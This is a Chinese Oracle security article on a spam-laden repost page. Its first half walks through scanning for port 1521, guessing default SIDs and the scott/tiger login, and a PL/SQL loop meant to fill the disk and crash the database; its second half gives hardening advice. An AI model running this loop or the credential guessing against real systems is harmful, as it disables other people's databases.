国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數(shù)據(jù)庫 > Oracle > 正文

搞垮他的數(shù)據(jù)庫--談Oracle安全

2024-08-29 13:47:47
字體:
供稿:網(wǎng)友

  
                                                          --田月

    人們經(jīng)常聽到Windows的安全漏洞,頻繁的遭受病毒攻擊等,我們的傳統(tǒng)觀念是 Windows太不安全了;實際上Unix/linux假如配置不當(dāng),其危險性遠遠高出人們的想象,大部分人非常重視操作系統(tǒng)的安全,但作為其最重要的數(shù)據(jù)庫應(yīng)用,你注重它了么?本文旨在介紹數(shù)據(jù)庫級的安全,當(dāng)然操作系統(tǒng)被攻破的話,那一切免談。
   
    讓我?guī)闳ピ囍粢慌_裝有Oracle的機器

1、首先確定被攻擊Oracle的ip地址(無目的,那就去全網(wǎng)掃描吧,發(fā)現(xiàn)1521端口打開的就挑出來,不要說連掃描都不會,F(xiàn)..t)

2、猜測它的SID號;好象很困難,事實上安裝Oracle時有缺省值,80%的人安裝時都不會去修改,或改為很輕易猜測的值,比如:ORCL、ORA、ORA8、ORA9、ORACLE、ORACLE8、ORACLE9、ORACLE8I、ORACLE817、ORACLE92...

3、連接后,猜測用戶名和口令;好象更困難,事實上安裝 Oracle時,SYS、SYSTEM等系統(tǒng)用戶有缺省口令,可惜在9i中,終于改為需用戶自己確定口令(不過大部分用戶還是沿用以前的口令或使用'oracle'),而且還有被人們遺忘的用戶,比如SCOTT,缺省安裝時他會被建立起來的。

4、sqlplus scott/tiger@ora_sid 終于登陸進來,可是這個小用戶只是用來做測試學(xué)習(xí)的,我們用他來干什么呢?

鍵入:
SQL> select USERNAME,DEFAULT_TABLESPACE from USER_USERS;

USERNAME                       DEFAULT_TABLESPACE
------------------------------ ------------------------------
SCOTT                          USERS


SQL> select * from session_PRivs;

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
CREATE TRIGGER
CREATE TYPE
CREATE OperaTOR
CREATE INDEXTYPE


SQL> select * from user_ts_quotas;

TABLESPACE_NAME                     BYTES  MAX_BYTES     BLOCKS MAX_BLOCKS
------------------------------ ---------- ---------- ---------- ----------
SYSTEM                             524288          0         64          0
USERS                               65536          0          8          0

什么意思呢?

意思是我們的這個用戶是數(shù)據(jù)缺省是建在USERS表空間上的,擁有建表等權(quán)限,而USERS表空間的磁盤使用是無限制的,聰明的讀者應(yīng)該明白我們可以在這里寫入很多數(shù)據(jù)直到占滿它的磁盤,造成數(shù)據(jù)庫無法使用......

我們試試吧
先建張表

SQL> CREATE TABLE TEST (A CHAR(30));

這張TEST表只有一個字段A

再寫個PL/SQL過程

DECLARE
v_number varchar2(30);
m_number varchar2(30):=999999999999999999999999999999;
--m_number的值代表了插入多少行數(shù)據(jù),可修改但不能超過30位。

begin
FOR v_number IN 1..m_number LOOP
insert into TEST(A) values(m_number);
commit;
end LOOP;
end;
/

 

    上面的PL/SQL過程表示給TEST表中A列循環(huán)插入'999999999999999999999999999999'值,共計999999999999999999999999999999行。以每行30 byte來算,共計2000000多億T大小吧,即便他是IBM大鯊魚的陣列存儲,也扛不住。
    當(dāng)然,你也可以增加幾個列,減少m_number值,可以加快速度的。

    這里再提醒大家一個Oracle缺省用戶DBSNMP,幾乎所有稍高版本的典型安裝都會創(chuàng)建它,危險指數(shù)高于SCOTT,因為它是創(chuàng)建在SYSTEM表空間的......F..t

    講了半天,DBA們快看看自己的系統(tǒng),一般來說成功率相當(dāng)高。下面我們開始講講如何作好安全防護:

1、啟用防火墻。
很多單位的數(shù)據(jù)庫都沒有防火墻保護,或防火墻配置為透明。實際上防火墻可以有效的阻止掃描 ,假如做了NAT、地址限制、禁止ICMP等就更好了,讓別人在外網(wǎng)看不到你的數(shù)據(jù)庫。

2、加大多層結(jié)構(gòu)數(shù)據(jù)庫應(yīng)用的建設(shè)。
傳統(tǒng)的C/S盡管有很多優(yōu)勢,但在安全性上實在令人擔(dān)心。很多程序開發(fā)者會將數(shù)據(jù)庫的用戶名和密碼直接寫在客戶端程序中,認(rèn)為編譯后會很安全,但事實上你用文本編輯器打開過這個客戶端程序嗎?你會吃驚的發(fā)現(xiàn)竟然可以看到用戶名和密碼。
多層結(jié)構(gòu)就沒有這個問題,前臺就是個瀏覽器或簡單的客戶端,可能會影響效率但在需要全網(wǎng)公開提供服務(wù)的情況下肯定是首選。

3、去除Oracle里用不到的組件,比如Jserver、Agent、遠程治理等等,這些強大的功能都是安全隱患,9I的AS存在緩沖溢出漏洞,假如你裝了就做祈禱吧...

4、修改缺省用戶的密碼,自建用戶加強口令治理和復(fù)雜度。

用system用戶進入執(zhí)行

SQL> select username from dba_users;

USERNAME
------------------------------
SYS
SYSTEM
OUTLN
DBSNMP
TEST
SCOTT
RMAN
TEST1


SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
SELECT ANY DICTIONARY

看看你系統(tǒng)到底存在哪些用戶,口令修改了嗎,夠復(fù)雜嗎,相應(yīng)的權(quán)限是否有擴大的嫌疑?

5、作好數(shù)據(jù)備份

具體這里就不多說了,CSDN相關(guān)版塊里有具體的帖子描述Oracle備份機制。

6、合理劃分文件系統(tǒng)

*在Unix/Linux下使用df -k檢查你的文件系統(tǒng),不同用戶使用不同的表空間,不同的表空間建在不同的文件系統(tǒng),千萬不要把應(yīng)用建在SYSTEM表空間上,回滾/重做表空間的治理也不容忽視;
SQL> host df -k
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/hda2              5036316   2100832   2679652  44% /
/dev/hda3              5036316   4381292    399192  92% /oracle
none                    256144         0    256144   0% /dev/shm
/dev/hda5              2016016    863144   1050460  46% /data1
/dev/hda7              6166948    558176   5295508  10% /data2
/dev/cdrom               81762     81762         0 100% /mnt/cdrom


SQL> select file_name,tablespace_name from dba_data_fil

FILE_NAME
-------------------------------------------------------
TABLESPACE_NAME
------------------------------
/oracle/prodUCt/9.2.01/oradata/system.dbf
SYSTEM

/oracle/product/9.2.01/oradata/undotbs.dbf
UNDOTBS

/data1/oradata/data1.dbf
DATA1

/data2/oradata/data2.dbf
DATA2

 

*在Windows下,使用資源治理器檢查你的分區(qū),不同的表空間建在不同的分區(qū)上,同樣千萬不要把SYSTEM表空間和應(yīng)用放在一起。



當(dāng)然,安全治理浩如煙海,這篇文章全當(dāng)拋磚引玉......

 

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 庆云县| 丘北县| 青海省| 任丘市| 买车| 滕州市| 婺源县| 禹州市| 海口市| 扬中市| 周至县| 普宁市| 滕州市| 凤城市| 布尔津县| 平凉市| 红原县| 白沙| 原阳县| 长顺县| 株洲县| 浑源县| 石景山区| 北安市| 普安县| 沾益县| 西乌珠穆沁旗| 锦屏县| 象州县| 扎鲁特旗| 微山县| 赣州市| 邯郸市| 错那县| 利津县| 五莲县| 商都县| 锡林浩特市| 长沙县| 颍上县| 扎赉特旗|